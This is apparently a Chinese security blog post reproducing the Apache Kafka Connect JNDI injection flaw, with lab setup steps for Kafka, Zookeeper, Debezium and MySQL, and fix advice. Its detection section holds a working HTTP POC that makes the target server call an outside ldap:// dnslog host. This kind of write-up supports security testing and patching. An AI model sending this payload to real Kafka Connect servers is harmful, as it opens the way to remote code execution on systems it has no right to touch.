介绍
Apache Kafka 是一个开源的分布式事件流平台,用于 数以千计的高性能数据管道、流分析、 数据集成和任务关键型应用程序。
链接:https://kafka.apache.org/
漏洞描述
链接:http://t.csdnimg.cn/v7Oav
在 Apache Kafka Connect 中存在 JNDI 注入漏洞,当攻击者可访问 Kafka Connect Worker,且可以创建或修改连接器时,通过设置 sasl.jaas.config 属性为 com.sun.security.auth.module.JndiLoginModule,进而可导致 JNDI 注入,造成 RCE 需低版本 JDK 或目标 Kafka Connect 系统中存在利用链。
可访问 Kafka Connect Worker
可以创建或修改连接器
设置 sasl.jaas.config 属性为 com.sun.security.auth.module.JndiLoginModule
影响版本
2.3.0 <= Apache Kafka <= 3.3.2
环境搭建
下载
kafka
链接:https://archive.apache.org/dist/kafka/2.5.0/kafka_2.13-2.5.0.tgz
Zookeeper
链接:https://zookeeper.apache.org/releases.html
debezium
链接:https://repo1.maven.org/maven2/io/debezium/debezium-connector-mysql/0.8.1.Final/debezium-connector-mysql-0.8.1.Final-plugin.tar.gz
mysql
注意:debezium 解压后可以看到 mysql 插件的 jar 包是 5.x 的版本,所以解决后门版本冲突问题这里的 mysql 我选择 5.1.73 版本
链接:https://mirrors.aliyun.com/mysql/MySQL-5.1/
java
这里我使用的是 1.8 的 Java,就不展示安装了。
PS:注意 java 版本和 debezium 版本冲突问题。
开启旅途
解压
首先解压 kafka 和 Zookeeper 放在如下位置
启动服务端(zookeeper)
可能会出现报错,所以可以先编辑 zookeep 文件 bin 目录下的 zkserver.cmd 文件。在 endlocal 前面加上 pause,暂停命令框(避免遇到错误直接闪退),查看报错结果。
1 2 admin.enableServer=false admin.serverPort=17900
启动服务端
双击 zookeep 文件 bin 目录下的 zkserver.cmd 文件,可以看到顺利启动不报错。
修改 kafka 日志存放路径
编辑 Kafka/config/server.properties 文件
1 2 # A comma separated list of directories under which to store log files log.dirs=D:\kafa\kafka_2.13-2.5.0\kafa-logs
启动客户端 kafka
命令启动
1 .\bin\windows\kafka-server-start.bat .\config\server.properties
测试 kafa 搭建
1 .\bin\windows\kafka-topics.bat --create --bootstrap-server localhost:9092 --replication-factor 1 --partitions 1 --topic tests
这里要注意,创建重复名字的 topic 会导致报错。
1 .\bin\windows\kafka-topics.bat --list --bootstrap-server localhost:9092
1 .\bin\windows\kafka-console-producer.bat --broker-list localhost:9092 --topic tests
1 .\bin\windows\kafka-console-consumer.bat --bootstrap-server localhost:9092 --topic tests --from-beginning
生产者生产了数据,消费者也能接收到,类似队列。
1 .\bin\windows\connect-standalone.bat .\config\connect-standalone.properties .\config\connect-file-source.properties .\config\connect-file-sink.properties
访问 connector-plugins
配置 Debezium MySQL 连接器
将 debezium 中的 jar 包选中复制到 kafka 的 libs 目录下
修改包路径
conf 目录下 connect-standalone 和 connect-distributed 文件增加如下内容
1 plugin.path=D:\kafa\kafka_2.13-2.5.0\libs
修改配置文件 server.properties
mysql 数据同步配置
windows 下是 my.ini 文件
1 2 3 4 5 6 7 8 [mysqld] # The TCP/IP Port the MySQL Server will listen on port=3306 server-id=7778 log_bin=mysql501-bin binlog_format=ROW #binlog_row_image=FULL expire_logs_days=10
binlog_row_image=FULL 需要注释,mysql5 还不支持。
重启 mysql 服务
创建用户并赋予相关权限(也可以使用 root 用户)
创建表并插入数据
1 2 3 4 create database school; use school; create table student (name varchar(20),age int); insert into student values('tom',18),('jack',19),('lisa',18);
新增 connector 连接器实例
发送数据包,这里使用 postman 做演示
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 { "name": "mysql-connectors1", #自定义连接器实例名 "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", #连接器类库 "database.hostname": "localhost", #mysql地址 "database.port": "3306", #mysql端口号 "database.user": "debezium", #用户名 "database.password": "dbz", #密码 "database.server.id": "7777", #对应mysql中的server-id的配置。 "database.server.name": "cr7-demo", #逻辑名称,每个connector确保唯一,作为写入数据的kafka topic的前缀名称 "database.history.kafka.bootstrap.servers": "localhost:9092", #kafka集群地址 "database.history.kafka.topic": "cr7-schema-changes-inventory", #存储数据库的Shcema的记录信息,而非写入数据的topic "include.schema.changes": "true", "database.whitelist": "school", #待同步的mysql数据库名 "table.whitlelist": "student" #待同步的mysq表名 } }
响应包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 { "name": "mysql-connectors1", "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", "database.hostname": "localhost", "database.port": "3306", "database.user": "debezium", "database.password": "dbz", "database.server.id": "7777", "database.server.name": "cr7-demo", "database.history.kafka.bootstrap.servers": "localhost:9092", "database.history.kafka.topic": "cr7-schema-changes-inventory", "include.schema.changes": "true", "database.whitelist": "school", "table.whitlelist": "student", "name": "mysql-connectors1" }, "tasks": [ { "connector": "mysql-connectors", "task": 0 } ], "type": "source" }
1 http://locolhost:8083/connectors/mysql-connectors1/status
其中 mysql-connectors1 是前面 name 的名字
响应包
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 { "name": "mysql-connectors1", "connector": { "state": "RUNNING", "worker_id": "localhost:8083" }, "tasks": [ { "id": 0, "state": "RUNNING", "worker_id": "localhost:8083" } ], "type": "source" }
漏洞检测
POC 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 POST /connectors HTTP/1.1 Host: localhost:8083 Content-Type: application/json Content-Length: 880 { "name": "mysql-connect", "config": { "connector.class": "io.debezium.connector.mysql.MySqlConnector", "database.hostname": "localhost", "database.port": "3306", "database.user": "root", "database.password": "123456", "database.server.id": "316545017", "database.server.name": "tests", "database.history.kafka.bootstrap.servers": "192.168.2.135:9092", "database.history.kafka.topic": "quickstart-events", "database.history.producer.security.protocol": "SASL_SSL", "database.history.producer.sasl.mechanism": "PLAIN", "database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://d04f5e9e.dnslog.store.\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";" } }
漏洞利用
修复建议
目前官方已有可更新版本,建议受影响用户升级至:Apache Kafka 3.4.0 及以上版本。
暂时无法升级的用户可通过验证 Kafka Connect 连接器配置,仅允许受信任的 JNDI 配置来缓解此漏洞。
感谢
https://zhuanlan.zhihu.com/p/616398569
https://my.oschina.net/u/4923278/blog/5007756
https://blog.csdn.net/smellycat000/article/details/128962935
https://blog.csdn.net/weixin_43944305/article/details/108620849
https://loujitao.github.io/Debezium 安装部署 /